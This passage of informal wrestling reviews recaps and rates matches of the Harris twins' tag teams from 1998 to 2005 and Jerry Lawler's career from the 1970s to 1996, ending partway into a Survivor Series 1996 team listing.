Sniper comes in to beat on Skull but gets caught in a double spinebuster from the twins for two. Interrogator hits 8-Ball from the apron and Sniper hits a bulldog for the elimination, making it 2-2. If this match sounds like a total mess that is hard to follow, it’s because that’s being nice about what’s going on.

Off to Crush for a figure four headscissors on Recon. Skull (I’m picking the names arbitrarily. It makes absolutely no difference at all and JR has no idea which is which anyway) DDTs Sniper but walks into a sidewalk slam from Interrogator for the pin. It’s Crush vs. Sniper and Interrogator and Crush immediately powerslams Sniper down for the pin. Interrogator is in the ring before the pin hits and ANOTHER FREAKING SIDEWALK SLAM gives Interrogator the final pin and the victory.

Rating: F. In ten minutes, we had seven eliminations, FOUR of which were by the SAME FREAKING MOVE. This was another match where just like the first, there was no one out there that could carry things to make the match work in any way. It makes Interrogator looks good, but it barely accomplished that because of how bad the match was.

Now for some two on two tags. From March 2, 1998 on Raw.

Tag Titles: Disciples of Apocalypse vs. New Age Outlaws

Skull and 8-Ball here. Big brawl to start of course and Billy’s neck brace is ripped off. 8-Ball and Road Dogg in the ring with a spinebuster for the canine. Everyone to the floor now as Billy gets a belt shot in to break the momentum. Cactus and Chainsaw Charlie pop out of the dumpster and the Outlaws run away for the count out after maybe a minute.

Another from May 18, 1998 on the same show.

Legion of Doom vs. Disciples of Apocalypse

Gah I hate this feud. No Sunny here who I think was gone for good now. It’s Chainz/Skull here so I don’t have to play guess which twin. Skull vs. Hawk to start. I don’t like Hawk having hair as it gets confusing. The DOA controls early on but Hawk hits a facejam on Skull to take over and he follows it with….my goodness an enziguri. Well not really as that means head kick and this was in the back but still, points for trying.

Off to Animal and everything breaks down. Animal powerbombs Skull for one as this is falling apart quickly. Hawk hits a middle rope splash for two as the tagging is being forgotten. 8-Ball comes in through the crowd and rolls Animal up for the surprise pin. They would have a regular tag at the PPV. This was short and not very good, which I think was intentional to show that the LOD were getting up there in years and couldn’t hang with these younger guys.

Here’s the PPV rematch from a few months later at In Your House XXIII.

LOD 2000 vs. Disciples of Apocalypse

The idea here is that Hawk is having “personal problems” which means he’s having bad drug addiction issues. Animal (in the shorts again) starts with Skull but 8-Ball quickly pulls him into the corner for a double team. Both Disciples drop elbows on Animal but it’s quickly off to Hawk who takes it to the floor. Skull takes a beating against the barricade before it’s back to Animal with the LOD hitting a Hart Attack of all things for a pair of two counts. Hawk hits his neckbreaker and brings in Animal again as Skull stays in trouble.

Skull finally low bridges Hawk to the floor where 8-Ball and Ellering can double team him. Ellering chokes away and gets in some stomps of his own, showing more aggression than he has in years. Back inside and 8-Ball hooks a chinlock before clotheslining Hawk into the DOA corner.

Ellering gets in even more shots and we hit the chinlock again to kill a bit more time. A backbreaker gets two for 8-Ball but Hawk comes back with a double clothesline to put both guys down. The hot tag brings in Animal to clean house and the Doomsday Device lays out Skull, only to have Ellering distract the referee. DOA switches, allowing 8-Ball to DDT Animal for the pin.

Rating: D. Egads these matches are getting harder and harder to sit through. This was similar to the Vader vs. Henry match with the similar styles being very hard to work around given the LOD’s advanced age. Ellering is a character that was also hard to use in the WWF as he barely worked there other than a few months in 1992, meaning the fans weren’t as invested in him. Another boring match though.

One last WWF match on Raw, September 21, 1998.

Southern Justice vs. Disciples of Apocalypse

8-Ball and Mark start things off with 8-Ball getting two off a legdrop. Off to Knight and Skull with Skull taking his head off with a clothesline. Sidewalk slam gets two. They head to the floor and here’s Jarrett with a guitar shot to Ellering. The match just kind of stops because that’s how wrestling worked in the Attitude Era.

After the bikers broke up, the twins would head over to WCW as corporate enforcers known as Creative Control. Here they are at Starrcade 1999.

Harlem Heat/Midnight vs. Creative Control/Curt Hennig

It’s a handicap match because Stevie is gone. Creative Control is a pair of big bald twins named Gerald and Patrick who have teamed for years under a variety of names. The winning team here become number one contenders to the tag belts. Booker and we’ll say Patrick start things off with Booker being shoved into the corner. Booker fights back with a spin kick to the head for two but the twins double team Booker by working on his ribs. Gerald gets taken down by a forearm and put in an armbar before it’s off to Midnight.

She stays on the arm but gets taken into the corner and pounded with some shoulders. Booker comes in very quickly but is tripped up by Patrick as the heels quickly take over. Curt comes in for all of five seconds before it’s back to Gerald who gets two off a big boot. Patrick comes in again and gets caught by an ax kick for two before Midnight gets another tag. Hennig comes in again and after ducking a leapfrog, decks Midnight in the back of the head to knock her to the floor.

Curt stays on Midnight as the fans simply don’t care. The announcers talk about the big deal that the Powers That be were talking about with Hudson asking what could be bigger than Disco Inferno being thrown in a car. Like I said, 1999 was very stupid. Stevie finally comes out but Booker tells him to leave, which Stevie does.

Patrick comes back in for a slam and a series of elbow drops. Booker makes the save as Stevie is still at ringside. Patrick misses a middle rope elbow drop and there’s the tag to Booker, but the referee is with Stevie. Booker cleans house but Curt hits him in the head with a foreign object, allowing Gerald to get the pin.

Rating: D. This is yet ANOTHER match that could have been on Nitro and had no business here at all. That’s the problem with almost everything so far: it’s either stupid or WAY too short to mean anything at all. Other than the opener, nothing has lasted more than nine minutes so far which makes it hard to get interested in anything.

The team would become the Bruise Brothers soon after this and get a Tag Team Title shot at Uncensored 2000.

Tag Titles: Mamalukes vs. Harris Brothers

The Harris Brothers are NWO here, in part of the final incarnation which was also the weakest probably. Vito kisses both his partner and the referee on the cheek. This is No DQ apparently. Disco Inferno is on commentary as our what, 4th guest commentator tonight? Vito vs. we’ll call that Ron while Madden and Disco banter back and forth. Powerslam by Johnny gets two. The teams are Ron/Don Harris vs. Johnny the Bull/Vito. That might clear some stuff up.

This is pretty weak to start as the styles are totally clashing. Back to Vito who gets a Japanese armdrag to take over. Disco is cracking me up here. The Mamalukes hit the H Bomb (Harrises’ finisher) on we’ll say Ron for two. Out to the floor as Johnny is in trouble. Spinwheel kick gets him out of that but Vito is drilled before the tag can be made. Well sure now: let’s talk about Crowbar some more. This is so freaking annoying anymore.

Yes, Vince didn’t stop the show for Owen. FREAKING GET OVER IT. I know that sounds bad, but there’s a HUGE difference between a real life accident and a scripted moment being used as a commentary on a real tragedy. Hot tag to Vito and some “Mafia” kicks clean house. Everything breaks down and Vito hits a top rope elbow for two. Modified Hart Attack gets the same. Double flapjack gets two on Johnny as the twins take over. Disco comes in for a belt shot for two. A belt shot to Vito sets up the H Bomb (kind of a double belly to back suplex) for the titles for the Brothers.

Rating: D. This was rather weak overall with the Brothers just doing their usual stuff. The Mamalukes were ok at best although I kind of liked Vito. They couldn’t get much going here and that was mainly due to the styles being too similar. The titles would be vacated anyway so again, all of this means nothing for the most part.

This was the showdown that no one was waiting for at Fall Brawl 2000.

Harris Brothers vs. Kronik

And there goes the quality of the show. This is first a chain match, as in they’re attached by a strap. The twins (Harris Brothers/Disciples of Apocolypse/Creative Control/Blu Brothers etc) cost Kronik the belts last month. Adams makes it a first blood match, because gimmicks added on for no apparent reason other than to keep an old guy from having to get pinned and therefore lose credibility TOTALLY RULE!

Dave Penzer, the announcer, gets knocked out like a minute in. We go out into the crowd and this is already a mess. As I’m typing this I can see the review of the previous match and it makes me sad. That and even the previous match were good. This is just annoying and is going to mean nothing at all in the end. Hudson talks about how brutal this is and how it’s going to be violent. We’re less than three minutes in and he’s right: it’s brutal.

One of the Harris guys works on Clark’s knee in a first blood match for reasons of general idiocy. We get choking, which even Tony calls out as stupid. And we have a ref bump in a gimmick match. One of the Harrises is bleeding but there’s no referee of course. The chain is undone and Hudson suggests he’s on his period instead of being busted open. END THIS. Yeah the blood is wiped off and Adams is bleeding when the referee gets back up so Kronik loses. Kronik beats up the referee to be faces.

Rating: F+. Well seven minutes have passed and nothing of note has changed. These two feuded forever and no one cared at all. We went from good stuff to this, which like I said shouldn’t surprise anyone. Get to the next thing.

Time for a Memphis reunion at Starrcade 2000.

Jeff Jarrett/Harris Brothers vs. Filthy Animals

The Animals are Konnan, Kidman and Mysterio and this is….wait for it…..wait for it……A HARDCORE MATCH! They call it a bunkhouse street fight but that means hardcore, again. Jarrett says this is a street fight AND a bunkhouse match. What does a bunkhouse match mean? It means there are weapons in the ring and you can wear jeans. This adds SO much to the match if you can’t tell. There’s a bar, bar stools and a popcorn machine in the ring. Again, why does this match a match more interesting? There are a bunch of other weapons around ringside too.

There’s pretty much no way to tell what’s going on in the match as it’s all over the place and a bunch of brawling with weapons. The Animals’ chick Tygress is on commentary so we get her annoying voice on top of everything else. The Animals destroy the bald Harris Brothers as Jarrett is shoved into the popcorn. Rey hits a Bronco Buster on one of the Brothers, making Tygress bark. Mysterio tries another one but gets caught with a boot between his legs to slow him down.

Jeff loads up a superplex on Kidman but Rey makes the save and Jarrett is slammed through the bar for two. The Animals take over and pound on the big guys for a bit with various weapon shots and double teaming. Rey hits his sitout bulldog on Jarrett but gets thrown in a dumpster to counter a rana attempt. Konnan gets back in to watch Kidman get hit in the head with a trashcan. Now for something completely different, all of a sudden you have to tag.

Kidman gets beaten down and a double big boot (ignore that one of them missed completely) takes his head off. One of the Harris Brothers tries a powerbomb but Kidman counters into a faceplant. Jarrett comes in with a sleeper but Kidman escapes and climbs the corner to take Jeff down with a bulldog. Off to Konnan who is almost immediately caught in an H Bomb by the Harrises (double powerbomb/belly to back suplex kind of move) to kill the momentum dead.

Another table is brought out (Madden: “HOW MANY TABLES ARE UNDER THAT RING???”) but here’s Rey with a broom to make the save. Rey dives at the Brothers but gets caught in another H Bomb through the tables. Kidman comes back in with a missile dropkick to Jarrett as the tagging is gone again. Billy hits a short powerbomb but tries the Shooting Star, only to have a bottle broken over his head. The Stroke from Jarrett (front legsweep) is enough for the pin.

Rating: D+. This actually wasn’t as bad as I was expecting, but that doesn’t mean it was good. This is a prime example of where a regular match would have done wonders for the show. It’s well past the point of being salvageable, but a twelve minute tag match would have been a very welcome breath of air. The problem is after all the brawling we’ve had so far, more brawling isn’t interesting. It’s just more of the same.

The brothers would mostly retire around this point and become security guards in TNA. They would make the occasional appearance there though, including this match at Destination X 2005.

Phi Delta Slam vs. Disciples of Destruction

The DOD are more commonly known as the Blu Brothers, Disciples of Apocalypse, Creative Control, Harris Brothers, Bruise Brothers, Harris Twins or Harris Boys. You get my point here? You might know the other two as the big guys in the Main Event Mafia that got beaten up a lot as security guards of the most elite wrestling force in TNA, which makes even less sense but whatever.

Oh and Trinity is sleeping with Dusty apparently. Give me a break. At least the girls look good. The best thing here is the entrance of Trinity who wears a robe and rips it off. Something tells me this is going to freaking SUCK. Well a minute in I’m right.

I think the mics are messing up a bit as you can hear the fans a lot more clearly than you usually would. The Harris Brothers are dominating here in case you care for some twisted and unclear reason. On the floor Don nails one of the fat guys with a chair. That looked pretty bad. They botch the heck out of something as it was supposed to be a double team move but it just didn’t happen at all.

There was one flaw with this match: no one wanted to watch it. That’s kind of a problem but whatever. Trinity actually looks pretty good. After a big mess (shocking isn’t it?) Trinity goes up and moonsaults to the floor. She hits Don with it and he literally doesn’t move. The visual was great as she hits her biggest move and gets NOTHING. He throws her into the crowd for fun I guess.

This is just freaking not interesting at all. That’s never a good sign at all. The fatter of the fat guys hits a top rope splash called the Hully Gully Splash. Just take me now. That leads to a switch so there we are. It allows for a big boot to end this crap with the Harris Brothers (or whatever they’re called) getting the pin.

Rating: F+. And that’s because the girls looked good. Traci did NOTHING here. Trinity was at least trying to be interesting but no one cared about the match or these teams or anything like that at all which is never a good thing. This was terrible to say the least as the styles clashed completely and it was just bad.

The Harris Brothers were as generic of a monster team as you could find but they found work for nearly twenty years due to being twins. There’s something cool about that and it made them unique enough to keep them employed. They were far better as enforcers than anything else and that’s not the worst job in the world.

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Here’s a commentator who could actually wrestle: Jerry Lawler.

This is going to be a bit different than you might expect. Lawler has been around SO long that it’s almost impossible to cover everything. I’ll have to jump a lot as several years of his old stuff is very difficult to find.

Lawler got started in 1970. Here’s a match from I believe 1975/1976.

Jerry Lawler vs. Don Anderson

Lawler is a huge heel here and is already ticking the fans off before the match. The guy is nothing short of a master at that. A headlock goes nowhere and it’s Anderson taking over with an armbar. Back up and Lawler backs up before grabbing an armbar. Anderson counters and we get a complaint of tights being pulled to no avail. Back up again and Jerry hammers away, knocking him out to the floor with a big right hand. This brings out a football player that Lawler had yelled at earlier to knock Jerry out for the DQ.

Here’s a one time only moment: Ric Flair comes to Memphis. This was all set up and blown off in one episode. Flair was in Memphis on August 14, 1982 for a match and the angle came from there. I’ll include the promos for background.

Flair comes in to the studio and talks about how Memphis has surprised him with its class and how well read everyone is. He’s willing to wrestle here out of the goodness of his heart and signs for a contract against the Southern Heavyweight Champion, whoever that is at that point, at a date in the future. He’ll also be in the ring later tonight against Rick McCord.

Later in the show, Jerry Lawler comes out and doesn’t like that he’s facing Pat Hutchinson because Pat isn’t much competition. He would however like to shake hands with Ric Flair. Here’s Flair in the robe but Lawler asks him to step down off the apron for a second. Flair acts like he doesn’t know who Lawler is, even though Lawler says they wrestled on the same card a few months ago.

Ric says he isn’t wasting his time on Lawler but he’ll talk to him after the match. Jerry says Ric is here to impress the pretty women of Memphis and that won’t happen if he beats a rookie like McCord. The World Champion isn’t impressed and says he could wrestle a broom. He’s surprised by Memphis and could wrestle anyone and impress everybody. If the people here want him to face somebody else, then bring them out.

That’s exactly what Lawler wanted to hear, because he’d love to wrestle Ric Flair. Ric agrees to a ten minute time limit non-title match. Jerry plays on Flair’s ego, saying that if no one is up to Flair’s caliber, why not put the title on the line? Ric thinks it’s beneath him but he’ll do it anyway. They make it clear that the title is on the line for ten minutes.

NWA World Title: Ric Flair vs. Jerry Lawler

After the introductions, Flair wants it known that the champion is a fair man. Lawler may be a big man in Memphis, but Flair will give him the chance to walk out right now. Lawler says bring it on and the bell rings. Ric easily takes him to the mat and Jerry clearly isn’t much of an amateur wrestler. They trade hammerlocks with Flair being taken to the mat and it’s off to an armbar by the King. Jerry wins a battle over a top wristlock and takes the champion down with a headlock.

Back up and the time is already screwed up as they’re halfway done after about four minutes. Jerry is sent face first into the buckle but he catches Ric in a quickly broken sleeper. There are less than three minutes to go and Flair chops Lawler down, only to get caught in a gutwrench suplex for two. Ric hammers away and gets two off an elbow drop as we’ve got a minute left. There’s a knee drop for two more and a delayed vertical suplex. Flair puts on the Figure Four as time runs out after less than eight minutes.

Rating: D. The match was pretty horrible but they didn’t have the time to go anywhere. You would think Lawler would get in more offense though as this was mainly a Flair squash after about three minutes in. The time thing was probably a TV deal and something that was very common back in the day.

Post match Flair screams that Lawler gave up but is told it was a time limit draw. Now he wants five more minutes and the match continues. Flair throws Lawler around but Jerry is all ticked off. There goes the strap and Jerry hammers away before sending him into the corner for a Flair Flip. The middle rope fist connects and Ric bails to the floor. He grabs the title and leaves for the countout.

Lawler declares himself the winner and wants to know where his belt is. After a break, promoter Eddie Marlin comes out and says there was no contract and it wasn’t a title match. Ric comes back out and says there’s no contract and rips Memphis apart. Flair won’t ever wrestle Lawler again and says Jimmy Hart is the only man he trusts in Memphis.

Ric writes Hart a check for $10,000 for the destruction of Jerry Lawler. He’ll sign the check the day he hears that Lawler has a broken arm, a broken leg, a broken neck or whatever it takes to get him out of wrestling. There will be men coming in from around the world to take care of Lawler and he’ll know that Ric Flair is the Big Daddy of Memphis. I’ve always liked this story, even though it was something they did in almost every territory to make the top guy look like an even bigger deal.

We’ll stay in Memphis with this match on January 15, 1983. And no it’s not him.

Sabu vs. Jerry Lawler

Boy that would mean a much different match today. Before the match Lawler says he’s sick of Hart and all of his cronies and all their bounties and challenges and all that stuff. If Hart wants to, bring all his boys out here right now and let’s do it. Hart and Sabu come out and it’s on fast. Lawler throws Sabu into the ring and the beating begins. They head to the floor and Lawler destroys him with a chair. I don’t think this was anything resembling a match. Actually the referee is letting it keep going. Eaton runs in and gets a right hand from Jerry.

Lawler beats the tar out of Eaton too before heading back in to beat on Sabu some more. Back to Eaton as Jerry has to keep going between the two of them. He doesn’t seem to have many friends here does he? Sabu finally gets in a shot on Lawler with his collar and the beating is on. Some people finally come in to help but get beaten down as well.

From the AWA’s Super Sunday in 1983.

Jerry Lawler vs. John Tolos

Tolos is a guy named the Golden Greek who died a few years back. This is right after the David Letterman show with Kaufman so Lawler is a national sensation at this point. Tolos jumps him immediately and Jerry is in trouble early on. He hits a jumping shot to the arm and hooks a wristlock on Lawler. Lawler comes back with a punch and hooks a headlock. It’s so weird hearing Jerry called a young man.

Lawler cranks on the head and the fans are getting into his stuff. He cranks on the head twenty seven times with the fans counting along. A big right hand puts Tolos down and hooks the chinlock. A jawbreaker gets him out of that and they collide to put both guys down. Tolos gets up and throws him over the top for….not a DQ for some reason.

Back in Tolos gets some two counts and there goes the strap. He takes Tolos down and hits rapid fire punches to the face followed by the middle rope fist drop for two. Lawler misses a charge and both guys go down. Tolos misses a middle rope knee drop and the piledriver ends this. Lawler can’t do much but he can hit a piledriver with the best of them.

Rating: D+. Not much here but Lawler was a much bigger deal at this point on a national stage due to the Letterman/Kaufman thing. Having him come out here and piledrive a midcard level guy was the right move. The problem with this show is becoming clear though as there aren’t any real stories to the matches. To be fair though, that’s normal for wrestling back in this era.

Back in Memphis on December 26, 1987. There wasn’t much to be seen in the years between.

Lord of the Ring First Round: Curt Hennig vs. Jerry Lawler

Hennig jumps Lawler to start and stomps away with Jerry in big trouble. Curt pokes him in the eye as this has been one sided so far. Lawler is draped across the top rope for two and a knee lift puts him down again. Curt sends him into the corner as the beating continues. Lawler finally starts getting fired up and takes the strap down as the fans get into the match. Jerry pounds away in the corner so Hennig throws the referee down. Apparently that isn’t a DQ so Lawler makes his comeback and punches Curt down, eventually ending him with the middle rope fist drop.

Rating: D. This was more of an angle instead of a match. Jerry was chasing the world title at this point and would finally win in about five months later. This was more or less a teaser for future matches which is fine, though I’m surprised they went with the champion getting pinned in just over five minutes.

Jerry would finally get his real World Title (kind of) when Curt Hennig was jumping to the WWF. Lawler would be AWA World Champion in a title unification match at SuperClash III.

AWA World Title/WCCW World Title: Jerry Lawler vs. Kerry Von Erich

This is a legit unification match which is rarer than anything you’ll ever see in modern wrestling. This would be like the TNA Champion and ROH Champion unifying their belts. See what I mean? The unification lasted like a month because no one could actually let that stand. Lawler comes out to Gonna Fly Now. That takes guts. Both guys are faces but Lawler is the de facto heel.

Kerry, ever the brilliant guy, cuts his left arm half to pieces TAKING HIS JACKET OFF, because that’s where he was keeping his razor. There is literally blood dripping onto the mat 5 seconds into the match. Lawler rams it into the post like 40 seconds in to give it a reason to bleed, which shows some intelligence. Marshall manages to confuse right and left. And people wonder why this company folded.

Kerry hits a big right hand to take over and keeps checking his cut. Marshall says both of them have beaten Flair, Savage and Hogan. That’s true in Lawler’s case but I don’t remember ANY instance of Von Erich even facing Savage or Hogan. Then again he messed up left and right not 2 minutes ago so I’d take that with a grain of salt. Von Erich gets a clothesline and Lawler is annoyed.

Still feeling out now. Again remember that Lawler is a legit tough guy here and not a comedy guy that is a grizzled veteran. School boy gets two for Kerry. They do a test of strength which even the announcers say is stupid for Lawler. Jerry misses a right hand and the discus punch gets two. Lawler sends him to the floor and takes over as we’re into the meat of the match now.

Piledriver is loaded up and hits but Kerry beats him to his feet. Another discus punch hits for two. Claw goes on but he can’t quite cinch it in. A knee drop misses and Jerry gets a second wind. And there goes the referee about ten minutes in. Von Erich gets a Piledriver and there’s no referee. There is blood everywhere. Outside and Kerry punches the post by mistake, shifting momentum again.

Lawler does the Memphis standard of pretending to have a foreign object to drive the fans nuts. There’s nothing in his hand but it looks great. Kerry’s head is busted now and Lawler goes in for the kill, hitting the middle rope punch for two. He throws in the foreign object on the second one but Lawler jumps into the Iron Claw on the stomach (just go with it). The regular Claw goes on and blood is literally dripping off Von Erich’s head. Jerry finally gets a rope but it goes on again, this time in the middle of the ring.

The referee keeps checking on the cut and Kerry keeps shaking his head to make it harder to do, probably thinking there’s too much blood there. They get up and Kerry misses a charge in the corner to send Kerry’s head into the post. I was wrong earlier as they’ve found new places to bleed on. They slug it out and Lawler gets the object again for another shot.

Kerry’s tights have blood on them and are half red now when they started as white. Jerry goes after the eye like a crazy man and just picks his shots now. Kerry misses a big swing and it’s Ali Shuffle time. Time for the object again and Von Erich hits the floor. Lawler gets a running punch back in and Kerry is somehow able to fight back.

Discus punch hits in the corner and the referee keeps wanting to check on the cut. They punch each other and the referee finally gets to check on the cut. The fans are totally behind Kerry here. Claw goes on again and Lawler is almost dead but gets his arm up at the last possible second a few times. The referee checks the eye again and stops the match with Lawler out cold. Not for Lawler passing out, but because Von Erich “can’t continue.” WEAK ending, especially when Lawler is unconscious.

Rating: B+. This would have been a lot higher if they got the ending right. The blood thing works if they’re both down or something, but with Lawler out cold in the Claw and somehow winning there, I don’t get how that exactly works. Still though, this wouldn’t last long at all as the AWA stripped their title off Lawler in January or so and Larry Zbyszko of all people won it due to being Verne’s son in law.

Back to Memphis again on January 26, 1991.

Jerry Lawler vs. Terry Garvin

Uptown Bruno runs his mouth for awhile on commentary as the stalling is going on. We’re a minute in and there hasn’t been any contact. Ok there’s a lockup so we’re really going now. A right hand puts Garvin on the floor and he yells at the fans a bit. Garvin wants to box and Lawler is fine with it, so Garvin runs again. Back in Garvin charges into a boot in the corner. They’re averaging a strike a minute so far.

Bruno slips Garvin a chain and a pair of shots with it puts Lawler down. Piledriver further kills the King and Bruno chokes a bit. A third chain shot puts him down but Lawler pulls the strap down. He punches Garvin into the ropes and calls for something. Someone throws a pair of scissors in and the chase is on. Garvin runs out for the countout.

Rating: C-. Pretty boring match here as the majority of it was brawling. That’s Memphis 101 though: they’ve very much into a simpler style but it works pretty well as far as a crowd reaction. Stuff like trying to cut someone’s hair is an act of war and a non-existent chain is all you need to send the crowd into a frenzy. It’s the polar opposite of Raw and to an extent it really works.

Another Memphis match from February 13, 1993.

Rock N Roll Phantom vs. Jerry Lawler

The Phantom is Ron Bass’ (remember him? You probably shouldn’t) brother in a mask. He’s rather fat and is from Louisiana. Luger is out for commentary again. The Phantom takes over to start but Lawler gets going and the same guys that came out with Christopher earlier are here with the Phantom. They come in for a DQ at about a minute in. Jarrett and Christopher come out for a huge beatdown. Christopher gets on the mic (fourth or fifth time tonight) and says if Lawler wants to fight him tonight, get Jarrett out of the ring. Christopher tries to run anyway but Lawler catches him and beats him up.

It would soon be off to the WWF, with Lawler going after King of the Ring Bret Hart, triggering a LONG war, including this match at Summerslam 1993. It was supposed to take place earlier in the night but Bret first had to beat Doink the Clown. Jerry attacked him with his crutch to end the previous match, so Bret is coming in weakened.

Bret Hart vs. Jerry Lawler

Bret blasts him in the head with one of Doink’s buckets before the bell. They head inside and Bret immediately pounds Lawler down and gets in a crutch shot for good measure. Lawler gets in a crutch shot to the throat and chokes away as the referee (ECW’s Bill Alfonzo) is trying to restrain the Hart Brothers.

Bret gets crotched against the post, allowing Lawler to tell the referee to go yell at the Brothers again. The distraction lets Lawler get in more crutch shots in a classic simple heel move. He stops to tell the booing fans to shut up but Bret is ready to fight. Hart destroys Lawer and even throws in a piledriver before putting on the Sharpshooter for the academic submission. He won’t let go though and the decision is reversed.

Rating: B. The match itself isn’t much from an action standpoint, but the story was perfect (Bret wants revenge) and it’s a short form clinic on how to work a crowd from Lawler. Those subtle things like distracting the referee and sneaking in weapon shots and telling the crowd to shut up are so basic and easy but you NEVER see them today. Today’s writers need to watch some Lawler matches and they’ll learn how to have a crowd eating out of a heel’s hand in no time.

It takes about ten referees plus two Brothers to pull Bret off of Lawler. Bret is told that Lawler is the undisputed King so he goes after Jerry again as Lawler is put on a stretcher. Bruce Hart gets in some shots as well but Lawler is finally wheeled off, raising his arm in victory like the true villain he is.

Unfortunately we never got the planned blowoff to this feud as some 15 year old accused Lawler of rape (she admitted she made the whole thing up and Lawler was acquitted) so the Hart Brothers vs. Jerry and three hired goons at Survivor Series never happened. That’s a shame as the reaction for Lawler being destroyed by the whole family including Stu would have been a sight to behold.

Lawler would get into a weird feud with Roddy Piper over some charity deal, setting up Lawler’s lone PPV main event at King of the Ring 1994.

Roddy Piper vs. Jerry Lawler

Yes, this is somehow the main event of a show with a tournament and a world title match on it. Also, they talk about the New Generation as Lawler walks down the aisle. So we have two mostly retired guys representing the new generation. Yeah that makes a ton of sense. Donovan inadvertently points out the biggest flaw in the tournament: Lawler has always been king so it’s very confusing.

He calls himself the undisputed king of the company, despite Owen being crowned about 3 minutes ago. See the problem now? There’s also something about a children’s hospital in Canada as we’ve apparently shifted from King of the Ring to a bad TV movie of the week. Of course Piper has a full team of bagpipe players and drummers. For zero apparent reason, Piper is now best friends with the guy that made fun of him on Raw.

That makes less than zero sense. Apparently Lawler is to blame for the kid putting on the Piper outfit, doing an impression of Roddy, and bowing to King and kissing his feet. Why are we having this match again? That makes no sense at all but we’ll go with it anyway. Oh look Piper wants to talk. He uses the bubblegum line to a HUGE pop. The kid makes some bad jokes too for no apparent reason.

So, from the time Lawler came through the curtain, it took 8 minutes to start the actual match. Gorilla says it’s vintage Piper, and in this case it actually is as he doesn’t actually wrestle but fights. The kid has a crown on. Just take me now. Piper throws some punches to mix it up a little. Donovan thinks Piper doesn’t like Lawler. At least this is almost over. The kid keeps interfering and even Piper gets annoyed with him.

Lawler hasn’t gotten a single move in yet and we’re about 4 minutes in. Roddy has short and almost blonde hair at this point and it’s just not right looking. Lawler goes after the kid and gets beaten on. That’s the story way too many times in this. Make that 6 minutes with nothing from Jerry. Hey there’s a punch, and once he gets Piper dazed a bit, he goes after the kid again. This show just needs to end now. I mean right now. Walk out of the ring and the show will be better instantly.

Apparently by being evil, Lawler is showing his true colors. If that’s the case he’s the biggest patriot I’ve ever seen because he never has a problem showing them. We’re in the corner now with the kid next to the buckle and Piper on his for protection while Lawler kicks Piper. I hate this match. There’s no commentary for a bit either as they have nothing to say or Donovan has wandered off again.

Piper “defends” him by shoving him out of the ring head first. 96% of this match has been punches. I mean they’re not even throwing in any kicks or something like that to vary it up a bit. Why are these two main eventing this show? Can ANYONE explain that to me? Apparently Lawler has patented the sleeper. Does ANYONE ever remember him using that? I know Piper used it, but Lawler?

I think Roddy agreed to give money or part of it or something that he wins here to the hospital. You know, instead of just giving it to them anyway from his own pocket. Lawler hits the only high impact move he knows and Roddy gets up. Piper says bring it on, so Lawler punches him down. That’s just amusing. This is just a bad match and it’s not showing any sign of ending.

Piper hits two bulldogs because the first wasn’t enough I suppose. He sets for a third and the referee goes down. Lawler hits him with the legendary foreign object and Piper is out. To continue the idiocy of this match, Lawler puts his feet on the ropes. That’s not that dumb of course as it’s a standard heel move that made Flair more hated than it was thought humanly possible to be.

No, the stupid part is Piper kicking his feet up into the air while not moving Lawler at all. Hey Roddy: IT MIGHT HELP IF YOU MOVED YOUR ARMS TOO! Seriously he’s just kicking them into the air. You would think he’s having a seizure or something. Anyway the kid shoves Lawler’s feet off the ropes because we just haven’t had enough fun tonight.

Piper botches a belly to back suplex and then botches a cover (Yes, he managed to botch a cover) for the pin to end this as apparently it’s a big deal that it’s Father’s Day. Ok then. Piper celebrates with the kid to end this.

Rating: F. WHAT IN THE WORLD WAS THE POINT OF THIS??? It’s the second longest match of the night and it was AWFUL. Literally, 95%+ of that match was just punching. It wasn’t interesting, there was ZERO reason for this to end the show, and that kid was a freaking pest. Why wasn’t the WWF Title match the main event? It couldn’t have been to send the fans home happy. They were asleep for the most part. Hart won so it’s not like they would have been sad. I’m at a loss for words on this and that’s not something that happens often. I seriously have no clue what they were thinking here.

Back to Bret at the first In Your House. Bret had to face Hakushi earlier in the night but he “injured his knee” so Lawler is very confident.

Jerry Lawler vs. Bret Hart

Jerry didn’t see the interview so Bret limps to the ring again, only to climb in with ease. Lawler tries to run but gets caught in the corner where Bret pounds away. Bret takes him down with a slam and some legdrops followed by a BIG backdrop. All Hart so far but Lawler comes back with a quick piledriver (his finisher) but Bret is up in just a few seconds. He pounds way on Jerry in the corner again before piledriving Lawler down for one.

Jerry comes back with a slam of his own while going up top, only to jump into Bret’s fist to the ribs. Bret pounds away but here’s Shinja to distract Hart for about the 12th time tonight. The referee is knocked into the ropes and gets his ankle tied up in the ropes as Bret hits the Russian legsweep. Hakushi comes in and takes out Bret with a kick to the head and two top rope headbutts, giving Lawler the easy pin.

Rating: D+. Again this didn’t have the time to go anywhere as the last two matches haven’t even combined to go 11 minutes. Lawler vs. Hart was a feud that went on for over two years and would culminate soon enough. This wasn’t the best entry in the series though but it furthered both itself and Hakushi vs. Bret so no complaints there.

We’ll jump ahead again to Summerslam 1996 where Lawler has been tormenting Jake Roberts for his alcohol issues.

Jerry Lawler vs. Jake Roberts

Before the match we have the debut of a new Olympian who will be getting in the ring soon: Mark Henry. Lawler brings his own bag with him along with something in his pocket. He’s also wearing a Baltimore Ravens jersey (the beloved Cleveland Browns had recently moved to Baltimore and become the Ravens) because Lawler knows how to rile up a crowd like few others ever could. Henry thinks it’s hilarious despite being a face.

Lawler pulls out two bottles of Jim Beam to be Roberts’ partners tonight and says Roberts’ wife only looks good after a six pack. Henry is so stupid that if he won a gold medal he’d have it bronzed. Once Roberts uses his bar stool as a walker to get out here, Lawler is going to knock him sideways so everyone can recognize him. It’s very impressive how easily Lawler can have a crowd eating out of the palm of his hand like this.

Roberts finally comes out so Lawler pulls a huge bottle of booze from the bag. Jake pulls the snake out of his own bag to scare Lawler to the floor and the bell finally rings. Lawler looks for a microphone but Jake sends him face first into the steps and hammers away back inside. Back to the floor with Lawler being sent into various hard objects until he steals a drink from a fan to blind Jake. Henry: “So what is the fan going to drink?” Lawler gets one of the bottles from ringside but has to block a DDT attempt. Another DDT is countered and Jerry hits him in the throat with the bottle for the pin.

Rating: D. This was much more of an angle than a match with Lawler giving a great lesson in how to fire up a crowd. Roberts wouldn’t be around much longer before heading to ECW and the indies. This would lead to Henry’s first mini feud against Lawler which started got his career going in slow motion.

Post match Lawler says Roberts is holding his throat because he wants a drink. Lawler opens the big bottle to pour it down Jake’s throat but Mark Henry makes a delayed save.

Jerry would be on a team at Survivor Series 1996.

Team Hunter Hearst Helmsley vs. Team Marc Mero

Hunter Hearst Helmsley, Jerry Lawler, Goldust, Crush
